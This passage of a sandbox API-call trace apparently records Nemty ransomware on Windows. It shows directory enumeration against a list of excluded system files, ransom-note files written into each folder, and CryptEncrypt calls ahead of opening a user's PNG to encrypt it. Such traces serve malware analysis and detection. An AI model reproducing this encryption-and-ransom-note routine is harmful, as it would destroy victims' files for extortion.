lpString2="appdata") returned -1 [0065.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0065.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0065.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0065.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0065.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0065.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0065.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0065.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0065.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0065.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.378] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0065.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94328 [0065.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0065.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.379] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c98cf0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd9c98cf0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd9c98cf0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0065.379] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0065.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0065.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0065.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0065.379] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2=".") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="..") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="...") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="windows") returned -1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="$RECYCLE.BIN") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="rsa") returned -1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="NTDETECT.COM") returned -1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="ntldr") returned -1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="MSDOS.SYS") returned -1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="IO.SYS") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="boot.ini") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="boot.ini") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="AUTOEXEC.BAT") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="ntuser.dat") returned -1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="desktop.ini") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="CONFIG.SYS") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="RECYCLER") returned -1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="BOOTSECT.BAK") returned 1 [0065.379] lstrcmpiW (lpString1="LayeredTitles", lpString2="bootmgr") returned 1 [0065.380] lstrcmpiW (lpString1="LayeredTitles", lpString2="programdata") returned -1 [0065.380] lstrcmpiW (lpString1="LayeredTitles", lpString2="appdata") returned 1 [0065.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LayeredTitles", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LayeredTitles", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LayeredTitles", lpUsedDefaultChar=0x0) returned 13 [0065.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LayeredTitles", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LayeredTitles", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LayeredTitles", lpUsedDefaultChar=0x0) returned 13 [0065.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94238 [0065.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0065.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942c0 [0065.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0065.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94348 [0065.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0065.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94348 | out: hHeap=0x4f90000) returned 1 [0065.380] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0065.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.384] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.384] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0065.385] CloseHandle (hObject=0x3cc) returned 1 [0065.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0065.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942c0 [0065.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94348 [0065.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0065.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0065.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0065.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.386] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340178 [0065.386] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0065.386] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0065.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0065.387] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.387] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0065.388] CloseHandle (hObject=0x3cc) returned 1 [0065.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0065.388] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xda9d6750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xda9d6750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0065.388] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0065.388] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xda9d6750, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xda9d6750, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0065.388] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0065.388] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0065.388] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0065.388] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0065.389] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0065.389] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0065.389] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0065.389] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0065.389] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0065.389] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0065.389] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0065.389] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0065.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0065.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0065.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0065.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0065.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0065.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0065.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340178 [0065.389] Sleep (dwMilliseconds=0x5) [0065.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda9fc8b0, dwHighDateTime=0x1d561e7)) [0065.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda9fc8b0, dwHighDateTime=0x1d561e7)) [0065.393] GetLastError () returned 0xb7 [0065.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.393] GetLastError () returned 0xb7 [0065.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0065.393] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0065.393] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0065.393] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0065.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340220 [0065.393] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340220, pcchString=0x653e91c | out: pszString="TnAg65YS8+BF3DW/11ONjIjXWa9siI8KTdtZLNhDyedgo5Z1Waw48NBmw2VsFquJ\r\njgoczEgiF1XVFyM4EXxVd0BL8uYQs34C/uMZv08lyhkPVnEU/gKYDWBn1L/ShVD3\r\n8sWBgI0/HyuKhF11TJ7k1cshn3UY7DX5FNl1kRw+0Syi00zWvoqw2I8cPlBgKxdi\r\n0BixOpeEfUNMG/4UgFwoQz7N+CCkc2GKAcDOPWHtQqK3HRxnUkuEQBh+fR5QcXDj\r\nuP0T0n1uVfRLUFtAOxv+GGVBklVNLqFbhfsMTZKPRIEiruH4xz1lBZdxT1wHMIYh\r\nyPCCE3zxLnMn+MMu3BCVpw==\r\n", pcchString=0x653e91c) returned 1 [0065.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0065.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340220 | out: hHeap=0x4f90000) returned 1 [0065.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0065.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0065.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340220 [0065.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0065.394] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, 